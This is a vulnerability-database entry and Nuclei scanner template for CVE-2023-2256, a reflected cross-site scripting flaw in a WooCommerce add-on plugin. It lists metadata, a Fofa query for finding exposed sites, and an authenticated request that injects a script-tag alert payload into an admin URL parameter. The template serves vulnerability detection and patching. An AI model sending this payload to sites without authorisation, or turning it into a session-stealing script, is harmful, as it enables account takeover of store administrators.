SecurityContext

CVE-2023-2256: WordPress Product Addons & Fields for WooCommerce < 32.0.7 - Cross-Site Scripting

  • Template: CVE-2023-2256
  • Name: WordPress Product Addons & Fields for WooCommerce < 32.0.7 - Cross-Site Scripting
  • Description: The Product Addons & Fields for WooCommerce WordPress plugin before version 32.0.7 contains a reflected cross-site scripting vulnerability. The plugin does not properly sanitize and escape some URL parameters in the admin panel, which could allow attackers to execute arbitrary JavaScript code in an administrator's browser context.
  • Impact: Attackers can inject malicious JavaScript through URL parameters in the admin panel, potentially stealing administrator session cookies and gaining full control over the WooCommerce store and customer data.
  • Remediation: Update Product Addons & Fields for WooCommerce plugin to version 32.0.7 or later that properly sanitizes and escapes URL parameters in the admin panel.
  • Severity: high
  • Authors: ritikchaddha
  • Tags: cve, cve2023, wp, wordpress, wp-plugin, xss, woocommerce, woocommerce-product-addon, authenticated, vuln
  • References: https://wpscan.com/vulnerability/1187e041-3be2-4613-8d56-c2394fcc75fb, https://nvd.nist.gov/vuln/detail/CVE-2023-2256
  • Cves: CVE-2023-2256
  • Max requests: 3
  • Directory: http/cves
  • Path: http/cves/2023/CVE-2023-2256.yaml
  • Digest: 4a0a00473045022045d13282d5c54dcb6f2a85bd4619f13040bb315441f2ac456ab15c26d7765f83022100bd1d8a9dbda01f93cd62ca179cfb1dfc45abcaa32ff32451e9db73beab32dae0
  • Created at: 2025-03-18T11:45:45Z
  • Updated at: 2026-11-24T02:03:42Z
  • Age in days: 616
  • Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-2256.yaml
  • Checked, none or zero: verified

Classification

  • Cwe: CWE-79
  • Cvss score: 6.1
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Epss score: 0.00952
  • Epss percentile: 0.62206
  • Cpe: cpe:2.3:a:themeisle:product_addons_\&_fields_for_woocommerce:*:*:*:*:*:wordpress:*:*

Metadata

  • Fofa-query: body="wp-content/plugins/woocommerce-product-addon/"
  • Max-request: 3
  • Product: woocommerce-product-addon
  • Vendor: WordPress

Products

ProductIndexedUrl
wordpress:woocommerce-product-addonno—
themeisle:product_addons_&_fields_for_woocommerceyes/v1/products/themeisle/product_addons_&_fields_for_woocommerce

Labels

  • Name: Product Addons & Fields for WooCommerce - Reflected XSS
  • Impact: Attackers can execute arbitrary JavaScript in admin browsers, potentially leading to session hijacking or privilege escalation.
  • Remediation: Update to version 32.0.7 or later.
  • Vulnerability type: reflected_xss
  • Vulnerability impact: client_script_exec
  • Requirement type: user_interaction
  • Requirements: Attacker needs victim to click a malicious URL
  • Labels source: projectdiscovery
  • From cve: CVE-2023-2256

```yaml

id: CVE-2023-2256

info:

name: WordPress Product Addons & Fields for WooCommerce < 32.0.7 - Cross-Site Scripting

author: ritikchaddha

severity: high

description: |

The Product Addons & Fields for WooCommerce WordPress plugin before version 32.0.7 contains a reflected cross-site scripting vulnerability. The plugin does not properly sanitize and escape some URL parameters in the admin panel, which could allow attackers to execute arbitrary JavaScript code in an administrator's browser context.

impact: |

Attackers can inject malicious JavaScript through URL parameters in the admin panel, potentially stealing administrator session cookies and gaining full control over the WooCommerce store and customer data.

remediation: |

Update Product Addons & Fields for WooCommerce plugin to version 32.0.7 or later that properly sanitizes and escapes URL parameters in the admin panel.

reference:

- https://wpscan.com/vulnerability/1187e041-3be2-4613-8d56-c2394fcc75fb

- https://nvd.nist.gov/vuln/detail/CVE-2023-2256

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

cvss-score: 6.1

cve-id: CVE-2023-2256

cwe-id: CWE-79

epss-score: 0.00952

epss-percentile: 0.62206

cpe: cpe:2.3:a:themeisle:product_addons_\&_fields_for_woocommerce:*:*:*:*:*:wordpress:*:*

metadata:

max-request: 3

vendor: WordPress

product: woocommerce-product-addon

fofa-query: body="wp-content/plugins/woocommerce-product-addon/"

tags: cve,cve2023,wp,wordpress,wp-plugin,xss,woocommerce,woocommerce-product-addon,authenticated,vuln

http:

- method: GET

path:

- "{{BaseURL}}/"

redirects: true

matchers:

- type: word

part: body

words:

- "woocommerce-product-addon"

- "woocommerce"

condition: and

case-insensitive: true

internal: true

- raw:

- |

POST /wp-login.php HTTP/1.1

Host: {{Hostname}}

Content-Type: application/x-www-form-urlencoded

log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

- |

GET /wp-admin/admin.php?page=ppom&productmeta_id=5&do_meta=edit&%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E=1 HTTP/1.1

Host: {{Hostname}}

matchers-condition: and

matchers:

- type: word

part: body

words:

- '"><script>alert(document.domain)</script>'

- type: word

part: header

words:

- "text/html"

- type: status

status:

- 200

digest: 4a0a00473045022045d13282d5c54dcb6f2a85bd4619f13040bb315441f2ac456ab15c26d7765f83022100bd1d8a9dbda01f93cd62ca179cfb1dfc45abcaa32ff32451e9db73beab32dae0:922c64590222798bb761d5b6d8e72950

```